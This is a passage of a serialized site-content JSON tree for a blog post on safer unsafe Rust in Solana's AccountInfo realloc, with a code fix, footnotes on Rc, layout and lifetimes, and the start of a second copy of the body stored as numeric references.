",{"type":24,"tag":284,"props":25575,"children":25577},{"className":25576},[],[25578],{"type":29,"value":23026},{"type":29,"value":25580},"'s data. The fix here is simple: keep that ",{"type":24,"tag":284,"props":25582,"children":25584},{"className":25583},[],[25585],{"type":29,"value":24254},{"type":29,"value":25587}," around and use it to access the data, instead of using ",{"type":24,"tag":284,"props":25589,"children":25591},{"className":25590},[],[25592],{"type":29,"value":25593},"RefCell::as_ptr",{"type":29,"value":25595},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":22996,"props":25597,"children":25598},{},[25599],{"type":24,"tag":57,"props":25600,"children":25604},{"href":25601,"ariaDescribedBy":25602,"dataFootnoteRef":7,"id":25603},"#user-content-fn-rustc-llvm",[23003],"user-content-fnref-rustc-llvm",[25605],{"type":29,"value":25038},{"type":29,"value":25607}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":22996,"props":25609,"children":25610},{},[25611],{"type":24,"tag":57,"props":25612,"children":25616},{"href":25613,"ariaDescribedBy":25614,"dataFootnoteRef":7,"id":25615},"#user-content-fn-godbolt",[23003],"user-content-fnref-godbolt",[25617],{"type":29,"value":25618},"5",{"type":29,"value":25620},". So then we get:",{"type":24,"tag":317,"props":25622,"children":25624},{"className":1553,"code":25623,"language":1552,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[25625],{"type":24,"tag":284,"props":25626,"children":25627},{"__ignoreMap":7},[25628,25672,25679,25686,25770,25810,25817,25824],{"type":24,"tag":327,"props":25629,"children":25630},{"class":329,"line":330},[25631,25635,25639,25644,25648,25652,25656,25660,25664,25668],{"type":24,"tag":327,"props":25632,"children":25633},{"style":334},[25634],{"type":29,"value":19334},{"type":24,"tag":327,"props":25636,"children":25637},{"style":334},[25638],{"type":29,"value":4799},{"type":24,"tag":327,"props":25640,"children":25641},{"style":356},[25642],{"type":29,"value":25643}," slice",{"type":24,"tag":327,"props":25645,"children":25646},{"style":381},[25647],{"type":29,"value":4809},{"type":24,"tag":327,"props":25649,"children":25650},{"style":334},[25651],{"type":29,"value":2171},{"type":24,"tag":327,"props":25653,"children":25654},{"style":381},[25655],{"type":29,"value":66},{"type":24,"tag":327,"props":25657,"children":25658},{"style":340},[25659],{"type":29,"value":21408},{"type":24,"tag":327,"props":25661,"children":25662},{"style":346},[25663],{"type":29,"value":7616},{"type":24,"tag":327,"props":25665,"children":25666},{"style":381},[25667],{"type":29,"value":7437},{"type":24,"tag":327,"props":25669,"children":25670},{"style":346},[25671],{"type":29,"value":405},{"type":24,"tag":327,"props":25673,"children":25674},{"class":329,"line":367},[25675],{"type":24,"tag":327,"props":25676,"children":25677},{"emptyLinePlaceholder":16},[25678],{"type":29,"value":544},{"type":24,"tag":327,"props":25680,"children":25681},{"class":329,"line":408},[25682],{"type":24,"tag":327,"props":25683,"children":25684},{"style":551},[25685],{"type":29,"value":21932},{"type":24,"tag":327,"props":25687,"children":25688},{"class":329,"line":421},[25689,25693,25697,25701,25705,25709,25713,25717,25721,25725,25729,25733,25737,25741,25745,25750,25754,25758,25762,25766],{"type":24,"tag":327,"props":25690,"children":25691},{"style":334},[25692],{"type":29,"value":19334},{"type":24,"tag":327,"props":25694,"children":25695},{"style":356},[25696],{"type":29,"value":21391},{"type":24,"tag":327,"props":25698,"children":25699},{"style":381},[25700],{"type":29,"value":4809},{"type":24,"tag":327,"props":25702,"children":25703},{"style":334},[25704],{"type":29,"value":22119},{"type":24,"tag":327,"props":25706,"children":25707},{"style":346},[25708],{"type":29,"value":1940},{"type":24,"tag":327,"props":25710,"children":25711},{"style":356},[25712],{"type":29,"value":22837},{"type":24,"tag":327,"props":25714,"children":25715},{"style":381},[25716],{"type":29,"value":66},{"type":24,"tag":327,"props":25718,"children":25719},{"style":340},[25720],{"type":29,"value":21421},{"type":24,"tag":327,"props":25722,"children":25723},{"style":346},[25724],{"type":29,"value":7616},{"type":24,"tag":327,"props":25726,"children":25727},{"style":381},[25728],{"type":29,"value":66},{"type":24,"tag":327,"props":25730,"children":25731},{"style":340},[25732],{"type":29,"value":21434},{"type":24,"tag":327,"props":25734,"children":25735},{"style":346},[25736],{"type":29,"value":349},{"type":24,"tag":327,"props":25738,"children":25739},{"style":381},[25740],{"type":29,"value":11899},{"type":24,"tag":327,"props":25742,"children":25743},{"style":397},[25744],{"type":29,"value":11653},{"type":24,"tag":327,"props":25746,"children":25747},{"style":346},[25748],{"type":29,"value":25749},") } ",{"type":24,"tag":327,"props":25751,"children":25752},{"style":334},[25753],{"type":29,"value":2479},{"type":24,"tag":327,"props":25755,"children":25756},{"style":381},[25757],{"type":29,"value":17364},{"type":24,"tag":327,"props":25759,"children":25760},{"style":334},[25761],{"type":29,"value":2099},{"type":24,"tag":327,"props":25763,"children":25764},{"style":1639},[25765],{"type":29,"value":1669},{"type":24,"tag":327,"props":25767,"children":25768},{"style":346},[25769],{"type":29,"value":405},{"type":24,"tag":327,"props":25771,"children":25772},{"class":329,"line":450},[25773,25777,25781,25785,25789,25793,25797,25801,25805],{"type":24,"tag":327,"props":25774,"children":25775},{"style":334},[25776],{"type":29,"value":21885},{"type":24,"tag":327,"props":25778,"children":25779},{"style":346},[25780],{"type":29,"value":1940},{"type":24,"tag":327,"props":25782,"children":25783},{"style":381},[25784],{"type":29,"value":469},{"type":24,"tag":327,"props":25786,"children":25787},{"style":356},[25788],{"type":29,"value":21482},{"type":24,"tag":327,"props":25790,"children":25791},{"style":381},[25792],{"type":29,"value":4809},{"type":24,"tag":327,"props":25794,"children":25795},{"style":356},[25796],{"type":29,"value":21491},{"type":24,"tag":327,"props":25798,"children":25799},{"style":334},[25800],{"type":29,"value":2417},{"type":24,"tag":327,"props":25802,"children":25803},{"style":1639},[25804],{"type":29,"value":1669},{"type":24,"tag":327,"props":25806,"children":25807},{"style":346},[25808],{"type":29,"value":25809}," };\n",{"type":24,"tag":327,"props":25811,"children":25812},{"class":329,"line":481},[25813],{"type":24,"tag":327,"props":25814,"children":25815},{"emptyLinePlaceholder":16},[25816],{"type":29,"value":544},{"type":24,"tag":327,"props":25818,"children":25819},{"class":329,"line":500},[25820],{"type":24,"tag":327,"props":25821,"children":25822},{"style":551},[25823],{"type":29,"value":23657},{"type":24,"tag":327,"props":25825,"children":25826},{"class":329,"line":529},[25827,25831,25835,25839,25843,25848,25852,25856,25860,25865,25869,25873,25877,25881,25886,25890],{"type":24,"tag":327,"props":25828,"children":25829},{"style":381},[25830],{"type":29,"value":469},{"type":24,"tag":327,"props":25832,"children":25833},{"style":356},[25834],{"type":29,"value":22837},{"type":24,"tag":327,"props":25836,"children":25837},{"style":381},[25838],{"type":29,"value":4809},{"type":24,"tag":327,"props":25840,"children":25841},{"style":334},[25842],{"type":29,"value":22119},{"type":24,"tag":327,"props":25844,"children":25845},{"style":346},[25846],{"type":29,"value":25847}," { std",{"type":24,"tag":327,"props":25849,"children":25850},{"style":381},[25851],{"type":29,"value":2407},{"type":24,"tag":327,"props":25853,"children":25854},{"style":346},[25855],{"type":29,"value":22837},{"type":24,"tag":327,"props":25857,"children":25858},{"style":381},[25859],{"type":29,"value":2407},{"type":24,"tag":327,"props":25861,"children":25862},{"style":340},[25863],{"type":29,"value":25864},"from_raw_parts_mut",{"type":24,"tag":327,"props":25866,"children":25867},{"style":346},[25868],{"type":29,"value":349},{"type":24,"tag":327,"props":25870,"children":25871},{"style":356},[25872],{"type":29,"value":22837},{"type":24,"tag":327,"props":25874,"children":25875},{"style":381},[25876],{"type":29,"value":66},{"type":24,"tag":327,"props":25878,"children":25879},{"style":340},[25880],{"type":29,"value":21421},{"type":24,"tag":327,"props":25882,"children":25883},{"style":346},[25884],{"type":29,"value":25885},"(), ",{"type":24,"tag":327,"props":25887,"children":25888},{"style":356},[25889],{"type":29,"value":21260},{"type":24,"tag":327,"props":25891,"children":25892},{"style":346},[25893],{"type":29,"value":22272},{"type":24,"tag":25,"props":25895,"children":25896},{},[25897,25899,25904,25906,25911,25913,25918,25920],{"type":29,"value":25898},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":284,"props":25900,"children":25902},{"className":25901},[],[25903],{"type":29,"value":15603},{"type":29,"value":25905}," and not a ",{"type":24,"tag":284,"props":25907,"children":25909},{"className":25908},[],[25910],{"type":29,"value":7509},{"type":29,"value":25912}," for the size field, given that ",{"type":24,"tag":284,"props":25914,"children":25916},{"className":25915},[],[25917],{"type":29,"value":7509},{"type":29,"value":25919}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":22996,"props":25921,"children":25922},{},[25923],{"type":24,"tag":57,"props":25924,"children":25928},{"href":25925,"ariaDescribedBy":25926,"dataFootnoteRef":7,"id":25927},"#user-content-fn-slice-unbound-lifetime",[23003],"user-content-fnref-slice-unbound-lifetime",[25929],{"type":29,"value":25930},"6",{"type":24,"tag":25932,"props":25933,"children":25936},"section",{"className":25934,"dataFootnotes":7},[25935],"footnotes",[25937,25944],{"type":24,"tag":228,"props":25938,"children":25941},{"className":25939,"id":23003},[25940],"sr-only",[25942],{"type":29,"value":25943},"Footnotes",{"type":24,"tag":175,"props":25945,"children":25946},{},[25947,26052,26070,26125,26138,26166],{"type":24,"tag":179,"props":25948,"children":25950},{"id":25949},"user-content-fn-rc-refs",[25951,25953,25959,25961,25966,25968,25972,25974,25978,25980,25985,25987,25993,25995,26000,26002,26012,26014,26019,26021,26026,26028,26033,26035,26041,26043],{"type":29,"value":25952},"I find it helpful to view owning an ",{"type":24,"tag":284,"props":25954,"children":25956},{"className":25955},[],[25957],{"type":29,"value":25958},"Rc\u003CT>",{"type":29,"value":25960}," as holding a shared reference to the underlying ",{"type":24,"tag":284,"props":25962,"children":25964},{"className":25963},[],[25965],{"type":29,"value":13555},{"type":29,"value":25967}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":42,"props":25969,"children":25970},{},[25971],{"type":29,"value":23973},{"type":29,"value":25973}," ensures that the actual ",{"type":24,"tag":42,"props":25975,"children":25976},{},[25977],{"type":29,"value":11298},{"type":29,"value":25979}," stays alive, however all you have is a reference to the ",{"type":24,"tag":284,"props":25981,"children":25983},{"className":25982},[],[25984],{"type":29,"value":13555},{"type":29,"value":25986}," (through the ",{"type":24,"tag":284,"props":25988,"children":25990},{"className":25989},[],[25991],{"type":29,"value":25992},"Deref\u003CTarget = T>",{"type":29,"value":25994}," impl) - ",{"type":24,"tag":42,"props":25996,"children":25997},{},[25998],{"type":29,"value":25999},"not",{"type":29,"value":26001}," ownership ",{"type":24,"tag":42,"props":26003,"children":26004},{},[26005,26007],{"type":29,"value":26006},"of the ",{"type":24,"tag":284,"props":26008,"children":26010},{"className":26009},[],[26011],{"type":29,"value":13555},{"type":29,"value":26013},". In short, owning an ",{"type":24,"tag":284,"props":26015,"children":26017},{"className":26016},[],[26018],{"type":29,"value":25958},{"type":29,"value":26020}," is owning a (shared, read-only) reference to ",{"type":24,"tag":284,"props":26022,"children":26024},{"className":26023},[],[26025],{"type":29,"value":13555},{"type":29,"value":26027},", not owning ",{"type":24,"tag":284,"props":26029,"children":26031},{"className":26030},[],[26032],{"type":29,"value":13555},{"type":29,"value":26034}," directly like with ",{"type":24,"tag":284,"props":26036,"children":26038},{"className":26037},[],[26039],{"type":29,"value":26040},"Box\u003CT>",{"type":29,"value":26042},". ",{"type":24,"tag":57,"props":26044,"children":26049},{"href":26045,"ariaLabel":26046,"className":26047,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[26048],"data-footnote-backref",[26050],{"type":29,"value":26051},"↩",{"type":24,"tag":179,"props":26053,"children":26055},{"id":26054},"user-content-fn-sendsync",[26056,26062,26063],{"type":24,"tag":284,"props":26057,"children":26059},{"className":26058},[],[26060],{"type":29,"value":26061},"!Send + !Sync",{"type":29,"value":14024},{"type":24,"tag":57,"props":26064,"children":26068},{"href":26065,"ariaLabel":26066,"className":26067,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[26048],[26069],{"type":29,"value":26051},{"type":24,"tag":179,"props":26071,"children":26073},{"id":26072},"user-content-fn-layout",[26074,26076,26081,26082,26095,26097,26102,26104,26109,26111,26116,26118],{"type":29,"value":26075},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":284,"props":26077,"children":26079},{"className":26078},[],[26080],{"type":29,"value":22462},{"type":29,"value":13069},{"type":24,"tag":57,"props":26083,"children":26086},{"href":26084,"rel":26085},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[61],[26087,26089],{"type":29,"value":26088},"not declared with ",{"type":24,"tag":284,"props":26090,"children":26092},{"className":26091},[],[26093],{"type":29,"value":26094},"#[repr(C)]",{"type":29,"value":26096},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":42,"props":26098,"children":26099},{},[26100],{"type":29,"value":26101},"breaks the entire chain",{"type":29,"value":26103}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":42,"props":26105,"children":26106},{},[26107],{"type":29,"value":26108},"some",{"type":29,"value":26110}," kind of interface to the specific layout of the specific ",{"type":24,"tag":284,"props":26112,"children":26114},{"className":26113},[],[26115],{"type":29,"value":24025},{"type":29,"value":26117}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":57,"props":26119,"children":26123},{"href":26120,"ariaLabel":26121,"className":26122,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[26048],[26124],{"type":29,"value":26051},{"type":24,"tag":179,"props":26126,"children":26128},{"id":26127},"user-content-fn-rustc-llvm",[26129,26131],{"type":29,"value":26130},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":57,"props":26132,"children":26136},{"href":26133,"ariaLabel":26134,"className":26135,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[26048],[26137],{"type":29,"value":26051},{"type":24,"tag":179,"props":26139,"children":26141},{"id":26140},"user-content-fn-godbolt",[26142,26149,26151,26157,26159],{"type":24,"tag":57,"props":26143,"children":26146},{"href":26144,"rel":26145},"https://godbolt.org/z/PK46xMbxc",[61],[26147],{"type":29,"value":26148},"Click here",{"type":29,"value":26150}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":284,"props":26152,"children":26154},{"className":26153},[],[26155],{"type":29,"value":26156},"libcore",{"type":29,"value":26158}," available for other architectures yet. ",{"type":24,"tag":57,"props":26160,"children":26164},{"href":26161,"ariaLabel":26162,"className":26163,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[26048],[26165],{"type":29,"value":26051},{"type":24,"tag":179,"props":26167,"children":26169},{"id":26168},"user-content-fn-slice-unbound-lifetime",[26170,26172,26177,26179,26185,26187,26193,26195,26201,26203,26209,26211,26217,26219,26224,26226],{"type":29,"value":26171},"The astute reader may have noticed that ",{"type":24,"tag":284,"props":26173,"children":26175},{"className":26174},[],[26176],{"type":29,"value":25864},{"type":29,"value":26178}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":284,"props":26180,"children":26182},{"className":26181},[],[26183],{"type":29,"value":26184},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":26186},", the lifetime parameter ",{"type":24,"tag":284,"props":26188,"children":26190},{"className":26189},[],[26191],{"type":29,"value":26192},"'a",{"type":29,"value":26194}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":284,"props":26196,"children":26198},{"className":26197},[],[26199],{"type":29,"value":26200},"*slice",{"type":29,"value":26202},", which is ",{"type":24,"tag":284,"props":26204,"children":26206},{"className":26205},[],[26207],{"type":29,"value":26208},"&'info [u8]",{"type":29,"value":26210}," (where ",{"type":24,"tag":284,"props":26212,"children":26214},{"className":26213},[],[26215],{"type":29,"value":26216},"'info",{"type":29,"value":26218}," is the lifetime parameter of the ",{"type":24,"tag":284,"props":26220,"children":26222},{"className":26221},[],[26223],{"type":29,"value":22462},{"type":29,"value":26225}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":57,"props":26227,"children":26231},{"href":26228,"ariaLabel":26229,"className":26230,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[26048],[26232],{"type":29,"value":26051},{"type":24,"tag":10448,"props":26234,"children":26235},{},[26236],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":26238},[26239,26245,26249,26250,26252],{"id":21897,"depth":367,"text":26240,"children":26241},"Breaking down realloc",[26242,26243],{"id":22063,"depth":408,"text":22066},{"id":23409,"depth":408,"text":26244},"Back to realloc",{"id":24356,"depth":367,"text":24359,"children":26246},[26247,26248],{"id":24362,"depth":408,"text":24365},{"id":24583,"depth":408,"text":24586},{"id":24767,"depth":367,"text":24770},{"id":25168,"depth":367,"text":26251},"Towards safer unsafe",{"id":23003,"depth":367,"text":25943},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":26257,"date":15,"isFeatured":16,"onBlogPage":16,"tags":26258,"body":26259,"_type":10481,"_id":10482,"_source":10483,"_file":10484,"_stem":10485,"_extension":10486},{"src":12,"height":13,"width":14},[18,19],{"type":21,"children":26260,"toc":35683},[26261,26265,26269,26289,26292,26301,26317,26333,26342,26359,26362,26366,26406,26410,26414,26418,26427,26458,26462,26466,26470,26688,26704,26708,26712,26779,26783,26850,26860,27261,27276,27280,27294,27298,27302,27306,27310,27320,27347,27356,27366,27375,27379,27404,27422,27437,27441,27455,27459,27480,27484,27499,27509,27641,27664,27667,27676,27754,27769,27772,27805,27964,27968,27972,27981,27997,28007,28156,28166,28176,28613,28617,28656,28660,28674,28730,28944,29158,29162,29233,29275,29279,29283,29380,29481,29485,29540,29544,29548,29610,29614,29653,29674,29678,29745,29749,29796,29805,29809,29819,29835,29839,29843,29862,29866,29876,29892,30924,30940,30988,30992,30999,31009,31013,31020,31024,31037,31068,31072,31162,31166,31173,31177,31286,31290,31297,31307,31467,31471,31478,31482,31486,31553,31581,31585,31589,31598,31613,31987,31997,32007,32014,32024,32051,32055,32062,32066,32321,32337,32341,32363,33199,33209,33307,33317,33357,33361,33371,33378,33382,33392,33412,33571,33581,33588,33592,33866,33870,33880,34034,34050,34367,34395,34583,34609,34618,34739,34755,34759,34763,34767,34777,34784,34788,35238,35248,35252,35261,35265,35521,35542,35546,35550,35554,35563,35572,35588,35626,35630,35634,35638,35642,35646,35650,35654,35658,35661,35679],{"type":24,"tag":25,"props":26262,"children":26263},{},[26264],{"type":29,"value":30},{"type":24,"tag":25,"props":26266,"children":26267},{},[26268],{"type":29,"value":35},{"type":24,"tag":25,"props":26270,"children":26271},{},[26272,26273,26277,26278,26282,26283,26288],{"type":29,"value":40},{"type":24,"tag":42,"props":26274,"children":26275},{},[26276],{"type":29,"value":46},{"type":29,"value":48},{"type":24,"tag":42,"props":26279,"children":26280},{},[26281],{"type":29,"value":53},{"type":29,"value":55},{"type":24,"tag":57,"props":26284,"children":26286},{"href":59,"rel":26285},[61],[26287],{"type":29,"value":64},{"type":29,"value":66},{"type":24,"tag":68,"props":26290,"children":26291},{},[],{"type":24,"tag":25,"props":26293,"children":26294},{},[26295,26296,26300],{"type":29,"value":75},{"type":24,"tag":42,"props":26297,"children":26298},{},[26299],{"type":29,"value":80},{"type":29,"value":82},{"type":24,"tag":25,"props":26302,"children":26303},{},[26304,26305,26310,26311,26316],{"type":29,"value":87},{"type":24,"tag":57,"props":26306,"children":26308},{"href":90,"rel":26307},[61],[26309],{"type":29,"value":94},{"type":29,"value":96},{"type":24,"tag":57,"props":26312,"children":26314},{"href":99,"rel":26313},[61],[26315],{"type":29,"value":103},{"type":29,"value":105},{"type":24,"tag":25,"props":26318,"children":26319},{},[26320,26321,26326,26327,26332],{"type":29,"value":110},{"type":24,"tag":57,"props":26322,"children":26324},{"href":113,"rel":26323},[61],[26325],{"type":29,"value":117},{"type":29,"value":119},{"type":24,"tag":57,"props":26328,"children":26330},{"href":122,"rel":26329},[61],[26331],{"type":29,"value":126},{"type":29,"value":128},{"type":24,"tag":25,"props":26334,"children":26335},{},[26336,26337,26341],{"type":29,"value":133},{"type":24,"tag":42,"props":26338,"children":26339},{},[26340],{"type":29,"value":138},{"type":29,"value":140},{"type":24,"tag":25,"props":26343,"children":26344},{},[26345],{"type":24,"tag":42,"props":26346,"children":26347},{},[26348,26349,26354,26355],{"type":29,"value":148},{"type":24,"tag":57,"props":26350,"children":26352},{"href":151,"rel":26351},[61],[26353],{"type":29,"value":155},{"type":29,"value":157},{"type":24,"tag":57,"props":26356,"children":26357},{"href":160},[26358],{"type":29,"value":163},{"type":24,"tag":68,"props":26360,"children":26361},{},[],{"type":24,"tag":168,"props":26363,"children":26364},{"id":170},[26365],{"type":29,"value":173},{"type":24,"tag":175,"props":26367,"children":26368},{},[26369,26373,26386,26394,26398,26402],{"type":24,"tag":179,"props":26370,"children":26371},{},[26372],{"type":29,"value":183},{"type":24,"tag":179,"props":26374,"children":26375},{},[26376,26380,26381,26385],{"type":24,"tag":188,"props":26377,"children":26378},{},[26379],{"type":29,"value":192},{"type":29,"value":194},{"type":24,"tag":42,"props":26382,"children":26383},{},[26384],{"type":29,"value":199},{"type":29,"value":201},{"type":24,"tag":179,"props":26387,"children":26388},{},[26389,26393],{"type":24,"tag":188,"props":26390,"children":26391},{},[26392],{"type":29,"value":209},{"type":29,"value":211},{"type":24,"tag":179,"props":26395,"children":26396},{},[26397],{"type":29,"value":216},{"type":24,"tag":179,"props":26399,"children":26400},{},[26401],{"type":29,"value":221},{"type":24,"tag":179,"props":26403,"children":26404},{},[26405],{"type":29,"value":226},{"type":24,"tag":228,"props":26407,"children":26408},{"id":230},[26409],{"type":29,"value":233},{"type":24,"tag":235,"props":26411,"children":26412},{"id":237},[26413],{"type":29,"value":240},{"type":24,"tag":25,"props":26415,"children":26416},{},[26417],{"type":29,"value":245},{"type":24,"tag":25,"props":26419,"children":26420},{},[26421,26422,26426],{"type":29,"value":250},{"type":24,"tag":188,"props":26423,"children":26424},{},[26425],{"type":29,"value":255},{"type":29,"value":66},{"type":24,"tag":25,"props":26428,"children":26429},{},[26430,26431,26435,26436,26440,26441,26445,26446,26451,26452,26457],{"type":29,"value":261},{"type":24,"tag":42,"props":26432,"children":26433},{},[26434],{"type":29,"value":266},{"type":29,"value":268},{"type":24,"tag":42,"props":26437,"children":26438},{},[26439],{"type":29,"value":273},{"type":29,"value":275},{"type":24,"tag":42,"props":26442,"children":26443},{},[26444],{"type":29,"value":280},{"type":29,"value":282},{"type":24,"tag":284,"props":26447,"children":26449},{"className":26448},[],[26450],{"type":29,"value":289},{"type":29,"value":291},{"type":24,"tag":284,"props":26453,"children":26455},{"className":26454},[],[26456],{"type":29,"value":297},{"type":29,"value":299},{"type":24,"tag":25,"props":26459,"children":26460},{},[26461],{"type":29,"value":304},{"type":24,"tag":235,"props":26463,"children":26464},{"id":307},[26465],{"type":29,"value":310},{"type":24,"tag":25,"props":26467,"children":26468},{},[26469],{"type":29,"value":315},{"type":24,"tag":317,"props":26471,"children":26472},{"code":319,"language":320,"meta":7,"className":321,"style":7},[26473],{"type":24,"tag":284,"props":26474,"children":26475},{"__ignoreMap":7},[26476,26503,26534,26545,26568,26595,26610,26637,26644,26651,26658,26681],{"type":24,"tag":327,"props":26477,"children":26478},{"class":329,"line":330},[26479,26483,26487,26491,26495,26499],{"type":24,"tag":327,"props":26480,"children":26481},{"style":334},[26482],{"type":29,"value":337},{"type":24,"tag":327,"props":26484,"children":26485},{"style":340},[26486],{"type":29,"value":343},{"type":24,"tag":327,"props":26488,"children":26489},{"style":346},[26490],{"type":29,"value":349},{"type":24,"tag":327,"props":26492,"children":26493},{"style":334},[26494],{"type":29,"value":337},{"type":24,"tag":327,"props":26496,"children":26497},{"style":356},[26498],{"type":29,"value":359},{"type":24,"tag":327,"props":26500,"children":26501},{"style":346},[26502],{"type":29,"value":364},{"type":24,"tag":327,"props":26504,"children":26505},{"class":329,"line":367},[26506,26510,26514,26518,26522,26526,26530],{"type":24,"tag":327,"props":26507,"children":26508},{"style":334},[26509],{"type":29,"value":373},{"type":24,"tag":327,"props":26511,"children":26512},{"style":346},[26513],{"type":29,"value":378},{"type":24,"tag":327,"props":26515,"children":26516},{"style":381},[26517],{"type":29,"value":384},{"type":24,"tag":327,"props":26519,"children":26520},{"style":346},[26521],{"type":29,"value":389},{"type":24,"tag":327,"props":26523,"children":26524},{"style":381},[26525],{"type":29,"value":394},{"type":24,"tag":327,"props":26527,"children":26528},{"style":397},[26529],{"type":29,"value":400},{"type":24,"tag":327,"props":26531,"children":26532},{"style":346},[26533],{"type":29,"value":405},{"type":24,"tag":327,"props":26535,"children":26536},{"class":329,"line":408},[26537,26541],{"type":24,"tag":327,"props":26538,"children":26539},{"style":334},[26540],{"type":29,"value":373},{"type":24,"tag":327,"props":26542,"children":26543},{"style":346},[26544],{"type":29,"value":418},{"type":24,"tag":327,"props":26546,"children":26547},{"class":329,"line":421},[26548,26552,26556,26560,26564],{"type":24,"tag":327,"props":26549,"children":26550},{"style":425},[26551],{"type":29,"value":428},{"type":24,"tag":327,"props":26553,"children":26554},{"style":346},[26555],{"type":29,"value":433},{"type":24,"tag":327,"props":26557,"children":26558},{"style":381},[26559],{"type":29,"value":438},{"type":24,"tag":327,"props":26561,"children":26562},{"style":397},[26563],{"type":29,"value":443},{"type":24,"tag":327,"props":26565,"children":26566},{"style":346},[26567],{"type":29,"value":364},{"type":24,"tag":327,"props":26569,"children":26570},{"class":329,"line":450},[26571,26575,26579,26583,26587,26591],{"type":24,"tag":327,"props":26572,"children":26573},{"style":346},[26574],{"type":29,"value":456},{"type":24,"tag":327,"props":26576,"children":26577},{"style":381},[26578],{"type":29,"value":384},{"type":24,"tag":327,"props":26580,"children":26581},{"style":346},[26582],{"type":29,"value":378},{"type":24,"tag":327,"props":26584,"children":26585},{"style":381},[26586],{"type":29,"value":469},{"type":24,"tag":327,"props":26588,"children":26589},{"style":397},[26590],{"type":29,"value":474},{"type":24,"tag":327,"props":26592,"children":26593},{"style":346},[26594],{"type":29,"value":405},{"type":24,"tag":327,"props":26596,"children":26597},{"class":329,"line":481},[26598,26602,26606],{"type":24,"tag":327,"props":26599,"children":26600},{"style":346},[26601],{"type":29,"value":487},{"type":24,"tag":327,"props":26603,"children":26604},{"style":425},[26605],{"type":29,"value":492},{"type":24,"tag":327,"props":26607,"children":26608},{"style":346},[26609],{"type":29,"value":497},{"type":24,"tag":327,"props":26611,"children":26612},{"class":329,"line":500},[26613,26617,26621,26625,26629,26633],{"type":24,"tag":327,"props":26614,"children":26615},{"style":346},[26616],{"type":29,"value":456},{"type":24,"tag":327,"props":26618,"children":26619},{"style":381},[26620],{"type":29,"value":384},{"type":24,"tag":327,"props":26622,"children":26623},{"style":346},[26624],{"type":29,"value":378},{"type":24,"tag":327,"props":26626,"children":26627},{"style":381},[26628],{"type":29,"value":394},{"type":24,"tag":327,"props":26630,"children":26631},{"style":397},[26632],{"type":29,"value":522},{"type":24,"tag":327,"props":26634,"children":26635},{"style":346},[26636],{"type":29,"value":405},{"type":24,"tag":327,"props":26638,"children":26639},{"class":329,"line":529},[26640],{"type":24,"tag":327,"props":26641,"children":26642},{"style":346},[26643],{"type":29,"value":535},{"type":24,"tag":327,"props":26645,"children":26646},{"class":329,"line":538},[26647],{"type":24,"tag":327,"props":26648,"children":26649},{"emptyLinePlaceholder":16},[26650],{"type":29,"value":544},{"type":24,"tag":327,"props":26652,"children":26653},{"class":329,"line":547},[26654],{"type":24,"tag":327,"props":26655,"children":26656},{"style":551},[26657],{"type":29,"value":554},{"type":24,"tag":327,"props":26659,"children":26660},{"class":329,"line":557},[26661,26665,26669,26673,26677],{"type":24,"tag":327,"props":26662,"children":26663},{"style":340},[26664],{"type":29,"value":563},{"type":24,"tag":327,"props":26666,"children":26667},{"style":346},[26668],{"type":29,"value":568},{"type":24,"tag":327,"props":26670,"children":26671},{"style":381},[26672],{"type":29,"value":573},{"type":24,"tag":327,"props":26674,"children":26675},{"style":397},[26676],{"type":29,"value":578},{"type":24,"tag":327,"props":26678,"children":26679},{"style":346},[26680],{"type":29,"value":583},{"type":24,"tag":327,"props":26682,"children":26683},{"class":329,"line":586},[26684],{"type":24,"tag":327,"props":26685,"children":26686},{"style":346},[26687],{"type":29,"value":592},{"type":24,"tag":25,"props":26689,"children":26690},{},[26691,26692,26697,26698,26703],{"type":29,"value":597},{"type":24,"tag":284,"props":26693,"children":26695},{"className":26694},[],[26696],{"type":29,"value":603},{"type":29,"value":605},{"type":24,"tag":284,"props":26699,"children":26701},{"className":26700},[],[26702],{"type":29,"value":611},{"type":29,"value":66},{"type":24,"tag":25,"props":26705,"children":26706},{},[26707],{"type":29,"value":617},{"type":24,"tag":25,"props":26709,"children":26710},{},[26711],{"type":29,"value":622},{"type":24,"tag":317,"props":26713,"children":26714},{"code":625,"language":320,"meta":7,"className":321,"style":7},[26715],{"type":24,"tag":284,"props":26716,"children":26717},{"__ignoreM